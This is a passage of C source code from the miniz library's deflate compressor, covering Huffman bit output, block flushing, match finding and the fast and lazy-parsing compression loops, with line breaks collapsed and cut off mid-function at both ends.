*d) { mz_uint flags; mz_uint8 *pLZ_codes; mz_uint8 *pOutput_buf = d->m_pOutput_buf; mz_uint8 *pLZ_code_buf_end = d->m_pLZ_code_buf; mz_uint64 bit_buffer = d->m_bit_buffer; mz_uint bits_in = d->m_bits_in; #define TDEFL_PUT_BITS_FAST(b, l) { bit_buffer |= (((mz_uint64)(b)) << bits_in); bits_in += (l); } flags = 1; for (pLZ_codes = d->m_lz_code_buf; pLZ_codes < pLZ_code_buf_end; flags >>= 1) { if (flags == 1) flags = *pLZ_codes++ | 0x100; if (flags & 1) { mz_uint s0, s1, n0, n1, sym, num_extra_bits; mz_uint match_len = pLZ_codes[0], match_dist = *(const mz_uint16 *)(pLZ_codes + 1); pLZ_codes += 3; MZ_ASSERT(d->m_huff_code_sizes[0][s_tdefl_len_sym[match_len]]); TDEFL_PUT_BITS_FAST(d->m_huff_codes[0][s_tdefl_len_sym[match_len]], d->m_huff_code_sizes[0][s_tdefl_len_sym[match_len]]); TDEFL_PUT_BITS_FAST(match_len & mz_bitmasks[s_tdefl_len_extra[match_len]], s_tdefl_len_extra[match_len]); // This sequence coaxes MSVC into using cmov's vs. jmp's. s0 = s_tdefl_small_dist_sym[match_dist & 511]; n0 = s_tdefl_small_dist_extra[match_dist & 511]; s1 = s_tdefl_large_dist_sym[match_dist >> 8]; n1 = s_tdefl_large_dist_extra[match_dist >> 8]; sym = (match_dist < 512) ? s0 : s1; num_extra_bits = (match_dist < 512) ? n0 : n1; MZ_ASSERT(d->m_huff_code_sizes[1][sym]); TDEFL_PUT_BITS_FAST(d->m_huff_codes[1][sym], d->m_huff_code_sizes[1][sym]); TDEFL_PUT_BITS_FAST(match_dist & mz_bitmasks[num_extra_bits], num_extra_bits); } else { mz_uint lit = *pLZ_codes++; MZ_ASSERT(d->m_huff_code_sizes[0][lit]); TDEFL_PUT_BITS_FAST(d->m_huff_codes[0][lit], d->m_huff_code_sizes[0][lit]); if (((flags & 2) == 0) && (pLZ_codes < pLZ_code_buf_end)) { flags >>= 1; lit = *pLZ_codes++; MZ_ASSERT(d->m_huff_code_sizes[0][lit]); TDEFL_PUT_BITS_FAST(d->m_huff_codes[0][lit], d->m_huff_code_sizes[0][lit]); if (((flags & 2) == 0) && (pLZ_codes < pLZ_code_buf_end)) { flags >>= 1; lit = *pLZ_codes++; MZ_ASSERT(d->m_huff_code_sizes[0][lit]); TDEFL_PUT_BITS_FAST(d->m_huff_codes[0][lit], d->m_huff_code_sizes[0][lit]); } } } if (pOutput_buf >= d->m_pOutput_buf_end) return MZ_FALSE; *(mz_uint64*)pOutput_buf = bit_buffer; pOutput_buf += (bits_in >> 3); bit_buffer >>= (bits_in & ~7); bits_in &= 7; } #undef TDEFL_PUT_BITS_FAST d->m_pOutput_buf = pOutput_buf; d->m_bits_in = 0; d->m_bit_buffer = 0; while (bits_in) { mz_uint32 n = MZ_MIN(bits_in, 16); TDEFL_PUT_BITS((mz_uint)bit_buffer & mz_bitmasks[n], n); bit_buffer >>= n; bits_in -= n; } TDEFL_PUT_BITS(d->m_huff_codes[0][256], d->m_huff_code_sizes[0][256]); return (d->m_pOutput_buf < d->m_pOutput_buf_end); } #else static mz_bool tdefl_compress_lz_codes(tdefl_compressor *d) { mz_uint flags; mz_uint8 *pLZ_codes; flags = 1; for (pLZ_codes = d->m_lz_code_buf; pLZ_codes < d->m_pLZ_code_buf; flags >>= 1) { if (flags == 1) flags = *pLZ_codes++ | 0x100; if (flags & 1) { mz_uint sym, num_extra_bits; mz_uint match_len = pLZ_codes[0], match_dist = (pLZ_codes[1] | (pLZ_codes[2] << 8)); pLZ_codes += 3; MZ_ASSERT(d->m_huff_code_sizes[0][s_tdefl_len_sym[match_len]]); TDEFL_PUT_BITS(d->m_huff_codes[0][s_tdefl_len_sym[match_len]], d->m_huff_code_sizes[0][s_tdefl_len_sym[match_len]]); TDEFL_PUT_BITS(match_len & mz_bitmasks[s_tdefl_len_extra[match_len]], s_tdefl_len_extra[match_len]); if (match_dist < 512) { sym = s_tdefl_small_dist_sym[match_dist]; num_extra_bits = s_tdefl_small_dist_extra[match_dist]; } else { sym = s_tdefl_large_dist_sym[match_dist >> 8]; num_extra_bits = s_tdefl_large_dist_extra[match_dist >> 8]; } MZ_ASSERT(d->m_huff_code_sizes[1][sym]); TDEFL_PUT_BITS(d->m_huff_codes[1][sym], d->m_huff_code_sizes[1][sym]); TDEFL_PUT_BITS(match_dist & mz_bitmasks[num_extra_bits], num_extra_bits); } else { mz_uint lit = *pLZ_codes++; MZ_ASSERT(d->m_huff_code_sizes[0][lit]); TDEFL_PUT_BITS(d->m_huff_codes[0][lit], d->m_huff_code_sizes[0][lit]); } } TDEFL_PUT_BITS(d->m_huff_codes[0][256], d->m_huff_code_sizes[0][256]); return (d->m_pOutput_buf < d->m_pOutput_buf_end); } #endif // MINIZ_USE_UNALIGNED_LOADS_AND_STORES && MINIZ_LITTLE_ENDIAN && MINIZ_HAS_64BIT_REGISTERS static mz_bool tdefl_compress_block(tdefl_compressor *d, mz_bool static_block) { if (static_block) tdefl_start_static_block(d); else tdefl_start_dynamic_block(d); return tdefl_compress_lz_codes(d); } static int tdefl_flush_block(tdefl_compressor *d, int flush) { mz_uint saved_bit_buf, saved_bits_in; mz_uint8 *pSaved_output_buf; mz_bool comp_block_succeeded = MZ_FALSE; int n, use_raw_block = ((d->m_flags & TDEFL_FORCE_ALL_RAW_BLOCKS) != 0) && (d->m_lookahead_pos - d->m_lz_code_buf_dict_pos) <= d->m_dict_size; mz_uint8 *pOutput_buf_start = ((d->m_pPut_buf_func == NULL) && ((*d->m_pOut_buf_size - d->m_out_buf_ofs) >= TDEFL_OUT_BUF_SIZE)) ? ((mz_uint8 *)d->m_pOut_buf + d->m_out_buf_ofs) : d->m_output_buf; d->m_pOutput_buf = pOutput_buf_start; d->m_pOutput_buf_end = d->m_pOutput_buf + TDEFL_OUT_BUF_SIZE - 16; MZ_ASSERT(!d->m_output_flush_remaining); d->m_output_flush_ofs = 0; d->m_output_flush_remaining = 0; *d->m_pLZ_flags = (mz_uint8)(*d->m_pLZ_flags >> d->m_num_flags_left); d->m_pLZ_code_buf -= (d->m_num_flags_left == 8); if ((d->m_flags & TDEFL_WRITE_ZLIB_HEADER) && (!d->m_block_index)) { TDEFL_PUT_BITS(0x78, 8); TDEFL_PUT_BITS(0x01, 8); } TDEFL_PUT_BITS(flush == TDEFL_FINISH, 1); pSaved_output_buf = d->m_pOutput_buf; saved_bit_buf = d->m_bit_buffer; saved_bits_in = d->m_bits_in; if (!use_raw_block) comp_block_succeeded = tdefl_compress_block(d, (d->m_flags & TDEFL_FORCE_ALL_STATIC_BLOCKS) || (d->m_total_lz_bytes < 48)); // If the block gets expanded, forget the current contents of the output buffer and send a raw block instead. if ( ((use_raw_block) || ((d->m_total_lz_bytes) && ((d->m_pOutput_buf - pSaved_output_buf + 1U) >= d->m_total_lz_bytes))) && ((d->m_lookahead_pos - d->m_lz_code_buf_dict_pos) <= d->m_dict_size) ) { mz_uint i; d->m_pOutput_buf = pSaved_output_buf; d->m_bit_buffer = saved_bit_buf, d->m_bits_in = saved_bits_in; TDEFL_PUT_BITS(0, 2); if (d->m_bits_in) { TDEFL_PUT_BITS(0, 8 - d->m_bits_in); } for (i = 2; i; --i, d->m_total_lz_bytes ^= 0xFFFF) { TDEFL_PUT_BITS(d->m_total_lz_bytes & 0xFFFF, 16); } for (i = 0; i < d->m_total_lz_bytes; ++i) { TDEFL_PUT_BITS(d->m_dict[(d->m_lz_code_buf_dict_pos + i) & TDEFL_LZ_DICT_SIZE_MASK], 8); } } // Check for the extremely unlikely (if not impossible) case of the compressed block not fitting into the output buffer when using dynamic codes. else if (!comp_block_succeeded) { d->m_pOutput_buf = pSaved_output_buf; d->m_bit_buffer = saved_bit_buf, d->m_bits_in = saved_bits_in; tdefl_compress_block(d, MZ_TRUE); } if (flush) { if (flush == TDEFL_FINISH) { if (d->m_bits_in) { TDEFL_PUT_BITS(0, 8 - d->m_bits_in); } if (d->m_flags & TDEFL_WRITE_ZLIB_HEADER) { mz_uint i, a = d->m_adler32; for (i = 0; i < 4; i++) { TDEFL_PUT_BITS((a >> 24) & 0xFF, 8); a <<= 8; } } } else { mz_uint i, z = 0; TDEFL_PUT_BITS(0, 3); if (d->m_bits_in) { TDEFL_PUT_BITS(0, 8 - d->m_bits_in); } for (i = 2; i; --i, z ^= 0xFFFF) { TDEFL_PUT_BITS(z & 0xFFFF, 16); } } } MZ_ASSERT(d->m_pOutput_buf < d->m_pOutput_buf_end); memset(&d->m_huff_count[0][0], 0, sizeof(d->m_huff_count[0][0]) * TDEFL_MAX_HUFF_SYMBOLS_0); memset(&d->m_huff_count[1][0], 0, sizeof(d->m_huff_count[1][0]) * TDEFL_MAX_HUFF_SYMBOLS_1); d->m_pLZ_code_buf = d->m_lz_code_buf + 1; d->m_pLZ_flags = d->m_lz_code_buf; d->m_num_flags_left = 8; d->m_lz_code_buf_dict_pos += d->m_total_lz_bytes; d->m_total_lz_bytes = 0; d->m_block_index++; if ((n = (int)(d->m_pOutput_buf - pOutput_buf_start)) != 0) { if (d->m_pPut_buf_func) { *d->m_pIn_buf_size = d->m_pSrc - (const mz_uint8 *)d->m_pIn_buf; if (!(*d->m_pPut_buf_func)(d->m_output_buf, n, d->m_pPut_buf_user)) return (d->m_prev_return_status = TDEFL_STATUS_PUT_BUF_FAILED); } else if (pOutput_buf_start == d->m_output_buf) { int bytes_to_copy = (int)MZ_MIN((size_t)n, (size_t)(*d->m_pOut_buf_size - d->m_out_buf_ofs)); memcpy((mz_uint8 *)d->m_pOut_buf + d->m_out_buf_ofs, d->m_output_buf, bytes_to_copy); d->m_out_buf_ofs += bytes_to_copy; if ((n -= bytes_to_copy) != 0) { d->m_output_flush_ofs = bytes_to_copy; d->m_output_flush_remaining = n; } } else { d->m_out_buf_ofs += n; } } return d->m_output_flush_remaining; } #if MINIZ_USE_UNALIGNED_LOADS_AND_STORES #define TDEFL_READ_UNALIGNED_WORD(p) *(const mz_uint16*)(p) static MZ_FORCEINLINE void tdefl_find_match(tdefl_compressor *d, mz_uint lookahead_pos, mz_uint max_dist, mz_uint max_match_len, mz_uint *pMatch_dist, mz_uint *pMatch_len) { mz_uint dist, pos = lookahead_pos & TDEFL_LZ_DICT_SIZE_MASK, match_len = *pMatch_len, probe_pos = pos, next_probe_pos, probe_len; mz_uint num_probes_left = d->m_max_probes[match_len >= 32]; const mz_uint16 *s = (const mz_uint16*)(d->m_dict + pos), *p, *q; mz_uint16 c01 = TDEFL_READ_UNALIGNED_WORD(&d->m_dict[pos + match_len - 1]), s01 = TDEFL_READ_UNALIGNED_WORD(s); MZ_ASSERT(max_match_len <= TDEFL_MAX_MATCH_LEN); if (max_match_len <= match_len) return; for ( ; ; ) { for ( ; ; ) { if (--num_probes_left == 0) return; #define TDEFL_PROBE \ next_probe_pos = d->m_next[probe_pos]; \ if ((!next_probe_pos) || ((dist = (mz_uint16)(lookahead_pos - next_probe_pos)) > max_dist)) return; \ probe_pos = next_probe_pos & TDEFL_LZ_DICT_SIZE_MASK; \ if (TDEFL_READ_UNALIGNED_WORD(&d->m_dict[probe_pos + match_len - 1]) == c01) break; TDEFL_PROBE; TDEFL_PROBE; TDEFL_PROBE; } if (!dist) break; q = (const mz_uint16*)(d->m_dict + probe_pos); if (TDEFL_READ_UNALIGNED_WORD(q) != s01) continue; p = s; probe_len = 32; do { } while ( (TDEFL_READ_UNALIGNED_WORD(++p) == TDEFL_READ_UNALIGNED_WORD(++q)) && (TDEFL_READ_UNALIGNED_WORD(++p) == TDEFL_READ_UNALIGNED_WORD(++q)) && (TDEFL_READ_UNALIGNED_WORD(++p) == TDEFL_READ_UNALIGNED_WORD(++q)) && (TDEFL_READ_UNALIGNED_WORD(++p) == TDEFL_READ_UNALIGNED_WORD(++q)) && (--probe_len > 0) ); if (!probe_len) { *pMatch_dist = dist; *pMatch_len = MZ_MIN(max_match_len, TDEFL_MAX_MATCH_LEN); break; } else if ((probe_len = ((mz_uint)(p - s) * 2) + (mz_uint)(*(const mz_uint8*)p == *(const mz_uint8*)q)) > match_len) { *pMatch_dist = dist; if ((*pMatch_len = match_len = MZ_MIN(max_match_len, probe_len)) == max_match_len) break; c01 = TDEFL_READ_UNALIGNED_WORD(&d->m_dict[pos + match_len - 1]); } } } #else static MZ_FORCEINLINE void tdefl_find_match(tdefl_compressor *d, mz_uint lookahead_pos, mz_uint max_dist, mz_uint max_match_len, mz_uint *pMatch_dist, mz_uint *pMatch_len) { mz_uint dist, pos = lookahead_pos & TDEFL_LZ_DICT_SIZE_MASK, match_len = *pMatch_len, probe_pos = pos, next_probe_pos, probe_len; mz_uint num_probes_left = d->m_max_probes[match_len >= 32]; const mz_uint8 *s = d->m_dict + pos, *p, *q; mz_uint8 c0 = d->m_dict[pos + match_len], c1 = d->m_dict[pos + match_len - 1]; MZ_ASSERT(max_match_len <= TDEFL_MAX_MATCH_LEN); if (max_match_len <= match_len) return; for ( ; ; ) { for ( ; ; ) { if (--num_probes_left == 0) return; #define TDEFL_PROBE \ next_probe_pos = d->m_next[probe_pos]; \ if ((!next_probe_pos) || ((dist = (mz_uint16)(lookahead_pos - next_probe_pos)) > max_dist)) return; \ probe_pos = next_probe_pos & TDEFL_LZ_DICT_SIZE_MASK; \ if ((d->m_dict[probe_pos + match_len] == c0) && (d->m_dict[probe_pos + match_len - 1] == c1)) break; TDEFL_PROBE; TDEFL_PROBE; TDEFL_PROBE; } if (!dist) break; p = s; q = d->m_dict + probe_pos; for (probe_len = 0; probe_len < max_match_len; probe_len++) if (*p++ != *q++) break; if (probe_len > match_len) { *pMatch_dist = dist; if ((*pMatch_len = match_len = probe_len) == max_match_len) return; c0 = d->m_dict[pos + match_len]; c1 = d->m_dict[pos + match_len - 1]; } } } #endif // #if MINIZ_USE_UNALIGNED_LOADS_AND_STORES #if MINIZ_USE_UNALIGNED_LOADS_AND_STORES && MINIZ_LITTLE_ENDIAN static mz_bool tdefl_compress_fast(tdefl_compressor *d) { // Faster, minimally featured LZRW1-style match+parse loop with better register utilization. Intended for applications where raw throughput is valued more highly than ratio. mz_uint lookahead_pos = d->m_lookahead_pos, lookahead_size = d->m_lookahead_size, dict_size = d->m_dict_size, total_lz_bytes = d->m_total_lz_bytes, num_flags_left = d->m_num_flags_left; mz_uint8 *pLZ_code_buf = d->m_pLZ_code_buf, *pLZ_flags = d->m_pLZ_flags; mz_uint cur_pos = lookahead_pos & TDEFL_LZ_DICT_SIZE_MASK; while ((d->m_src_buf_left) || ((d->m_flush) && (lookahead_size))) { const mz_uint TDEFL_COMP_FAST_LOOKAHEAD_SIZE = 4096; mz_uint dst_pos = (lookahead_pos + lookahead_size) & TDEFL_LZ_DICT_SIZE_MASK; mz_uint num_bytes_to_process = (mz_uint)MZ_MIN(d->m_src_buf_left, TDEFL_COMP_FAST_LOOKAHEAD_SIZE - lookahead_size); d->m_src_buf_left -= num_bytes_to_process; lookahead_size += num_bytes_to_process; while (num_bytes_to_process) { mz_uint32 n = MZ_MIN(TDEFL_LZ_DICT_SIZE - dst_pos, num_bytes_to_process); memcpy(d->m_dict + dst_pos, d->m_pSrc, n); if (dst_pos < (TDEFL_MAX_MATCH_LEN - 1)) memcpy(d->m_dict + TDEFL_LZ_DICT_SIZE + dst_pos, d->m_pSrc, MZ_MIN(n, (TDEFL_MAX_MATCH_LEN - 1) - dst_pos)); d->m_pSrc += n; dst_pos = (dst_pos + n) & TDEFL_LZ_DICT_SIZE_MASK; num_bytes_to_process -= n; } dict_size = MZ_MIN(TDEFL_LZ_DICT_SIZE - lookahead_size, dict_size); if ((!d->m_flush) && (lookahead_size < TDEFL_COMP_FAST_LOOKAHEAD_SIZE)) break; while (lookahead_size >= 4) { mz_uint cur_match_dist, cur_match_len = 1; mz_uint8 *pCur_dict = d->m_dict + cur_pos; mz_uint first_trigram = (*(const mz_uint32 *)pCur_dict) & 0xFFFFFF; mz_uint hash = (first_trigram ^ (first_trigram >> (24 - (TDEFL_LZ_HASH_BITS - 8)))) & TDEFL_LEVEL1_HASH_SIZE_MASK; mz_uint probe_pos = d->m_hash[hash]; d->m_hash[hash] = (mz_uint16)lookahead_pos; if (((cur_match_dist = (mz_uint16)(lookahead_pos - probe_pos)) <= dict_size) && ((*(const mz_uint32 *)(d->m_dict + (probe_pos &= TDEFL_LZ_DICT_SIZE_MASK)) & 0xFFFFFF) == first_trigram)) { const mz_uint16 *p = (const mz_uint16 *)pCur_dict; const mz_uint16 *q = (const mz_uint16 *)(d->m_dict + probe_pos); mz_uint32 probe_len = 32; do { } while ( (TDEFL_READ_UNALIGNED_WORD(++p) == TDEFL_READ_UNALIGNED_WORD(++q)) && (TDEFL_READ_UNALIGNED_WORD(++p) == TDEFL_READ_UNALIGNED_WORD(++q)) && (TDEFL_READ_UNALIGNED_WORD(++p) == TDEFL_READ_UNALIGNED_WORD(++q)) && (TDEFL_READ_UNALIGNED_WORD(++p) == TDEFL_READ_UNALIGNED_WORD(++q)) && (--probe_len > 0) ); cur_match_len = ((mz_uint)(p - (const mz_uint16 *)pCur_dict) * 2) + (mz_uint)(*(const mz_uint8 *)p == *(const mz_uint8 *)q); if (!probe_len) cur_match_len = cur_match_dist ? TDEFL_MAX_MATCH_LEN : 0; if ((cur_match_len < TDEFL_MIN_MATCH_LEN) || ((cur_match_len == TDEFL_MIN_MATCH_LEN) && (cur_match_dist >= 8U*1024U))) { cur_match_len = 1; *pLZ_code_buf++ = (mz_uint8)first_trigram; *pLZ_flags = (mz_uint8)(*pLZ_flags >> 1); d->m_huff_count[0][(mz_uint8)first_trigram]++; } else { mz_uint32 s0, s1; cur_match_len = MZ_MIN(cur_match_len, lookahead_size); MZ_ASSERT((cur_match_len >= TDEFL_MIN_MATCH_LEN) && (cur_match_dist >= 1) && (cur_match_dist <= TDEFL_LZ_DICT_SIZE)); cur_match_dist--; pLZ_code_buf[0] = (mz_uint8)(cur_match_len - TDEFL_MIN_MATCH_LEN); *(mz_uint16 *)(&pLZ_code_buf[1]) = (mz_uint16)cur_match_dist; pLZ_code_buf += 3; *pLZ_flags = (mz_uint8)((*pLZ_flags >> 1) | 0x80); s0 = s_tdefl_small_dist_sym[cur_match_dist & 511]; s1 = s_tdefl_large_dist_sym[cur_match_dist >> 8]; d->m_huff_count[1][(cur_match_dist < 512) ? s0 : s1]++; d->m_huff_count[0][s_tdefl_len_sym[cur_match_len - TDEFL_MIN_MATCH_LEN]]++; } } else { *pLZ_code_buf++ = (mz_uint8)first_trigram; *pLZ_flags = (mz_uint8)(*pLZ_flags >> 1); d->m_huff_count[0][(mz_uint8)first_trigram]++; } if (--num_flags_left == 0) { num_flags_left = 8; pLZ_flags = pLZ_code_buf++; } total_lz_bytes += cur_match_len; lookahead_pos += cur_match_len; dict_size = MZ_MIN(dict_size + cur_match_len, TDEFL_LZ_DICT_SIZE); cur_pos = (cur_pos + cur_match_len) & TDEFL_LZ_DICT_SIZE_MASK; MZ_ASSERT(lookahead_size >= cur_match_len); lookahead_size -= cur_match_len; if (pLZ_code_buf > &d->m_lz_code_buf[TDEFL_LZ_CODE_BUF_SIZE - 8]) { int n; d->m_lookahead_pos = lookahead_pos; d->m_lookahead_size = lookahead_size; d->m_dict_size = dict_size; d->m_total_lz_bytes = total_lz_bytes; d->m_pLZ_code_buf = pLZ_code_buf; d->m_pLZ_flags = pLZ_flags; d->m_num_flags_left = num_flags_left; if ((n = tdefl_flush_block(d, 0)) != 0) return (n < 0) ? MZ_FALSE : MZ_TRUE; total_lz_bytes = d->m_total_lz_bytes; pLZ_code_buf = d->m_pLZ_code_buf; pLZ_flags = d->m_pLZ_flags; num_flags_left = d->m_num_flags_left; } } while (lookahead_size) { mz_uint8 lit = d->m_dict[cur_pos]; total_lz_bytes++; *pLZ_code_buf++ = lit; *pLZ_flags = (mz_uint8)(*pLZ_flags >> 1); if (--num_flags_left == 0) { num_flags_left = 8; pLZ_flags = pLZ_code_buf++; } d->m_huff_count[0][lit]++; lookahead_pos++; dict_size = MZ_MIN(dict_size + 1, TDEFL_LZ_DICT_SIZE); cur_pos = (cur_pos + 1) & TDEFL_LZ_DICT_SIZE_MASK; lookahead_size--; if (pLZ_code_buf > &d->m_lz_code_buf[TDEFL_LZ_CODE_BUF_SIZE - 8]) { int n; d->m_lookahead_pos = lookahead_pos; d->m_lookahead_size = lookahead_size; d->m_dict_size = dict_size; d->m_total_lz_bytes = total_lz_bytes; d->m_pLZ_code_buf = pLZ_code_buf; d->m_pLZ_flags = pLZ_flags; d->m_num_flags_left = num_flags_left; if ((n = tdefl_flush_block(d, 0)) != 0) return (n < 0) ? MZ_FALSE : MZ_TRUE; total_lz_bytes = d->m_total_lz_bytes; pLZ_code_buf = d->m_pLZ_code_buf; pLZ_flags = d->m_pLZ_flags; num_flags_left = d->m_num_flags_left; } } } d->m_lookahead_pos = lookahead_pos; d->m_lookahead_size = lookahead_size; d->m_dict_size = dict_size; d->m_total_lz_bytes = total_lz_bytes; d->m_pLZ_code_buf = pLZ_code_buf; d->m_pLZ_flags = pLZ_flags; d->m_num_flags_left = num_flags_left; return MZ_TRUE; } #endif // MINIZ_USE_UNALIGNED_LOADS_AND_STORES && MINIZ_LITTLE_ENDIAN static MZ_FORCEINLINE void tdefl_record_literal(tdefl_compressor *d, mz_uint8 lit) { d->m_total_lz_bytes++; *d->m_pLZ_code_buf++ = lit; *d->m_pLZ_flags = (mz_uint8)(*d->m_pLZ_flags >> 1); if (--d->m_num_flags_left == 0) { d->m_num_flags_left = 8; d->m_pLZ_flags = d->m_pLZ_code_buf++; } d->m_huff_count[0][lit]++; } static MZ_FORCEINLINE void tdefl_record_match(tdefl_compressor *d, mz_uint match_len, mz_uint match_dist) { mz_uint32 s0, s1; MZ_ASSERT((match_len >= TDEFL_MIN_MATCH_LEN) && (match_dist >= 1) && (match_dist <= TDEFL_LZ_DICT_SIZE)); d->m_total_lz_bytes += match_len; d->m_pLZ_code_buf[0] = (mz_uint8)(match_len - TDEFL_MIN_MATCH_LEN); match_dist -= 1; d->m_pLZ_code_buf[1] = (mz_uint8)(match_dist & 0xFF); d->m_pLZ_code_buf[2] = (mz_uint8)(match_dist >> 8); d->m_pLZ_code_buf += 3; *d->m_pLZ_flags = (mz_uint8)((*d->m_pLZ_flags >> 1) | 0x80); if (--d->m_num_flags_left == 0) { d->m_num_flags_left = 8; d->m_pLZ_flags = d->m_pLZ_code_buf++; } s0 = s_tdefl_small_dist_sym[match_dist & 511]; s1 = s_tdefl_large_dist_sym[(match_dist >> 8) & 127]; d->m_huff_count[1][(match_dist < 512) ? s0 : s1]++; if (match_len >= TDEFL_MIN_MATCH_LEN) d->m_huff_count[0][s_tdefl_len_sym[match_len - TDEFL_MIN_MATCH_LEN]]++; } static mz_bool tdefl_compress_normal(tdefl_compressor *d) { const mz_uint8 *pSrc = d->m_pSrc; size_t src_buf_left = d->m_src_buf_left; tdefl_flush flush = d->m_flush; while ((src_buf_left) || ((flush) && (d->m_lookahead_size))) { mz_uint len_to_move, cur_match_dist, cur_match_len, cur_pos; // Update dictionary and hash chains. Keeps the lookahead size equal to TDEFL_MAX_MATCH_LEN. if ((d->m_lookahead_size + d->m_dict_size) >= (TDEFL_MIN_MATCH_LEN - 1)) { mz_uint dst_pos = (d->m_lookahead_pos + d->m_lookahead_size) & TDEFL_LZ_DICT_SIZE_MASK, ins_pos = d->m_lookahead_pos + d->m_lookahead_size - 2; mz_uint hash = (d->m_dict[ins_pos & TDEFL_LZ_DICT_SIZE_MASK] << TDEFL_LZ_HASH_SHIFT) ^ d->m_dict[(ins_pos + 1) & TDEFL_LZ_DICT_SIZE_MASK]; mz_uint num_bytes_to_process = (mz_uint)MZ_MIN(src_buf_left, TDEFL_MAX_MATCH_LEN - d->m_lookahead_size); const mz_uint8 *pSrc_end = pSrc + num_bytes_to_process; src_buf_left -= num_bytes_to_process; d->m_lookahead_size += num_bytes_to_process; while (pSrc != pSrc_end) { mz_uint8 c = *pSrc++; d->m_dict[dst_pos] = c; if (dst_pos < (TDEFL_MAX_MATCH_LEN - 1)) d->m_dict[TDEFL_LZ_DICT_SIZE + dst_pos] = c; hash = ((hash << TDEFL_LZ_HASH_SHIFT) ^ c) & (TDEFL_LZ_HASH_SIZE - 1); d->m_next[ins_pos & TDEFL_LZ_DICT_SIZE_MASK] = d->m_hash[hash]; d->m_hash[hash] = (mz_uint16)(ins_pos); dst_pos = (dst_pos + 1) & TDEFL_LZ_DICT_SIZE_MASK; ins_pos++; } } else { while ((src_buf_left) && (d->m_lookahead_size < TDEFL_MAX_MATCH_LEN)) { mz_uint8 c = *pSrc++; mz_uint dst_pos = (d->m_lookahead_pos + d->m_lookahead_size) & TDEFL_LZ_DICT_SIZE_MASK; src_buf_left--; d->m_dict[dst_pos] = c; if (dst_pos < (TDEFL_MAX_MATCH_LEN - 1)) d->m_dict[TDEFL_LZ_DICT_SIZE + dst_pos] = c; if ((++d->m_lookahead_size + d->m_dict_size) >= TDEFL_MIN_MATCH_LEN) { mz_uint ins_pos = d->m_lookahead_pos + (d->m_lookahead_size - 1) - 2; mz_uint hash = ((d->m_dict[ins_pos & TDEFL_LZ_DICT_SIZE_MASK] << (TDEFL_LZ_HASH_SHIFT * 2)) ^ (d->m_dict[(ins_pos + 1) & TDEFL_LZ_DICT_SIZE_MASK] << TDEFL_LZ_HASH_SHIFT) ^ c) & (TDEFL_LZ_HASH_SIZE - 1); d->m_next[ins_pos & TDEFL_LZ_DICT_SIZE_MASK] = d->m_hash[hash]; d->m_hash[hash] = (mz_uint16)(ins_pos); } } } d->m_dict_size = MZ_MIN(TDEFL_LZ_DICT_SIZE - d->m_lookahead_size, d->m_dict_size); if ((!flush) && (d->m_lookahead_size < TDEFL_MAX_MATCH_LEN)) break; // Simple lazy/greedy parsing state machine. len_to_move = 1; cur_match_dist = 0; cur_match_len = d->m_saved_match_len ? d->m_saved_match_len : (TDEFL_MIN_MATCH_LEN - 1); cur_pos = d->m_lookahead_pos & TDEFL_LZ_DICT_SIZE_MASK; if (d->m_flags & (TDEFL_RLE_MATCHES | TDEFL_FORCE_ALL_RAW_BLOCKS)) { if ((d->m_dict_size) && (!(d->m_flags & TDEFL_FORCE_ALL_RAW_BLOCKS))) { mz_uint8 c = d->m_dict[(cur_pos - 1) & TDEFL_LZ_DICT_SIZE_MASK]; cur_match_len = 0; while (cur_match_len < d->m_lookahead_size) { if (d->m_dict[cur_pos + cur_match_len] != c) break; cur_match_len++; } if (cur_match_len < TDEFL_MIN_MATCH_LEN) cur_match_len = 0; else cur_match_dist = 1; } } else { tdefl_find_match(d, d->m_lookahead_pos, d->m_dict_size, d->m_lookahead_size, &cur_match_dist, &cur_match_len); } if (((cur_match_len == TDEFL_MIN_MATCH_LEN) && (cur_match_dist >= 8U*1024U)) || (cur_pos == cur_match_dist) || ((d->m_flags & TDEFL_FILTER_MATCHES) && (cur_match_len <= 5))) { cur_match_dist = cur_match_len = 0; } if (d->m_saved_match_len) { if (cur_match_len > d->m_saved_match_len) { tdefl_record_literal(d, (mz_uint8)d->m_saved_lit); if (cur_match_len >= 128) { tdefl_record_match(d, cur_match_len, cur_match_dist); d->m_saved_match_len = 0; len_to_move = cur_match_len; } else { d->m_saved_lit = d->m_dict[cur_pos]; d->m_saved_match_dist = cur_match_dist; d->m_saved_match_len = cur_match_len; } } else { tdefl_record_match(d, d->m_saved_match_len, d->m_saved_match_dist); len_to_move = d->m_saved_match_len - 1; d->m_saved_match_len = 0; } } else if (!cur_match_dist) tdefl_record_literal(d, d->m_dict[MZ_MIN(cur_pos, sizeof(d->m_dict) - 1)]); else if ((d->m_greedy_parsing) || (d->m_flags & TDEFL_RLE_MATCHES) || (cur_match_len >= 128)) { tdefl_record_match(d, cur_match_len, cur_match_dist); len_to_move = cur_match_len; } else { d->m_saved_lit = d->m_dict[MZ_MIN(cur_pos, sizeof(d->m_dict) - 1)]; d->m_saved_match_dist = cur_match_dist; d->m_saved_match_len = cur_match_len; } // Move the lookahead forward by len_to_move bytes. d->m_lookahead_pos += len_to_move; MZ_ASSERT(d->m_lookahead_size >= len_to_move); d->m_lookahead_size -= len_to_move; d->m_dict_size = MZ_MIN(d->m_dict_size + len_to_move, TDEFL_LZ_DICT_SIZE); // Check if it's time to flush the current LZ codes to the internal output buffer. if ( (d->m_pLZ_code_buf > &d->m_lz_code_buf[TDEFL_LZ_CODE_BUF_SIZE - 8]) || ( (d->m_total_lz_bytes > 31*1024) && (((((mz_uint)(d->m_pLZ_code_buf - d->m_lz_code_buf) * 115) >> 7) >= d->m_total_lz_bytes) || (d->m_flags & TDEFL_FORCE_ALL_RAW_BLOCKS))) ) { int n; d->m_pSrc = pSrc; d->m_src_buf_left = src_buf_left; if ((n = tdefl_flush_block(d, 0)) != 0) return (n < 0) ? MZ_FALSE : MZ_TRUE; } } d->m_pSrc = pSrc; d->m_src_buf_left = src_buf_left; return MZ_TRUE; } static tdefl_status tdefl_flush_output_buffer(tdefl_compressor *d) { if (d->m_pIn_buf_size) { *d->m_pIn_buf_size = d->m_pSrc - (const mz_uint8 *)d->m_pIn_buf; } if (d->m_pOut_buf_size) { size_t n = MZ_MIN(*d->m_pOut_buf_size - d->m_out_buf_ofs, d->m_output_flush_remaining); memcpy((mz_uint8 *)d->m_pOut_buf + d->m_out_buf_ofs, d->m_output_buf + d->m_output_flush_ofs, n); d->m_output_flush_ofs += (mz_uint)n; d->m_output_flush_remaining -= (mz_uint)n; d->m_out_buf_ofs += n; *d->m_pOut_buf_size = d->m_out_buf_ofs; } return (d->m_finished && !d->m_output_flush_remaining) ? TDEFL_STATUS_DONE : TDEFL_STATUS_OKAY; } tdefl_status 